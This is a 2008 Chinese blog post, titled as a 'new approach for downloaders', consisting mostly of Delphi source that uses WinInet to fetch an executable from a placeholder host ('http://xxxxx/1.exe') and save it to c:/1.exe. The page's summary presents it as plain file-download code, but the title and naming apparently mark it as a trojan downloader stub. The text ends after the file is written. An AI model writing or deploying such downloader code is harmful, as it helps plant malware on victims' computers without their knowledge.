下载者的新思路

iiprogram

于 2008-07-15 15:13:00 发布

阅读量944

点赞数

CC 4.0 BY-SA版权

分类专栏： vcbcbdelphi的window编程文章标签： buffer internet path cmd 扩展 file

本文链接：https://blog.youkuaiyun.com/iiprogram/article/details/2654068

vcbcbdelphi的window编程专栏收录该内容

551 篇文章

订阅专栏

本文介绍了一段使用Delphi编程语言实现的HTTP文件下载与URL跳转的功能，通过创建会话和调用相关API来完成任务。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

program Project2;
uses
windows,
Wininet,
SysUtils;
var
File_shangNet, File_XiaNet: string;
//////////////////////////////////////

const BufferSize = 1024;

Pingto_ghoSt1='http://xxxxx/1.exe' ;
PingFo_WWW1='c:/1.exe';
var
hSession, Foy_WWr: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
Pingto: string;
cmd :array[0..MAX_PATH] of char;
begin
Pingto := ExtractFileName(cmd); //返回指定文件名与扩展名
hSession := InternetOpen(PChar(Pingto),
INTERNET_OPEN_TYPE_PRECONFIG,
nil, nil, 0);
try
Foy_WWr := InternetOpenURL(hSession,
PChar(Pingto_ghoSt1),
nil,0,0,0);
try
AssignFile(f, PingFo_WWW1);
Rewrite(f,1);
repeat
InternetReadFile(Foy_WWr, @Buffer,
SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen)
until BufferLen = 0;
CloseFile(f);